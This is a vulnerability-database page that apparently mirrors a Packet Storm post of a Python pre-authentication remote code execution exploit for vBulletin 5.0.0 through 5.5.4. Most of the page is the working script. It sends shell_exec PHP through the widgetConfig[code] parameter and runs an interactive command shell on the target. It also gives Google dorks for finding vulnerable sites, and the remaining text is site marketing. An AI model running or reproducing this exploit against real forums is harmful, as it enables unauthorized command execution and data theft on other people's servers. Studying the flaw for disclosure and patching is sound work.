Lucene search
K

vBulletin 5.x Pre-Auth Remote Code Execution

🗓️ 24 Sep 2019 00:00:00Reported by vb_z3r0.d4yType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 978 Views

vBulletin 5.x Pre-Auth Remote Code Execution, 0day RCE exploi

Code
`#!/usr/bin/python  
#  
# vBulletin 5.x 0day pre-auth RCE exploit  
#  
# This should work on all versions from 5.0.0 till 5.5.4  
#  
# Google Dorks:  
# - site:*.vbulletin.net  
# - "Powered by vBulletin Version 5.5.4"  
  
import requests  
import sys  
  
if len(sys.argv) != 2:  
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])  
  
params = {"routestring":"ajax/render/widget_php"}  
  
while True:  
try:  
cmd = raw_input("vBulletin$ ")  
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"  
r = requests.post(url = sys.argv[1], data = params)  
if r.status_code == 200:  
print r.text  
else:  
sys.exit("Exploit failed! :(")  
except KeyboardInterrupt:  
sys.exit("\nClosing shell...")  
except Exception, e:  
sys.exit(str(e))  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation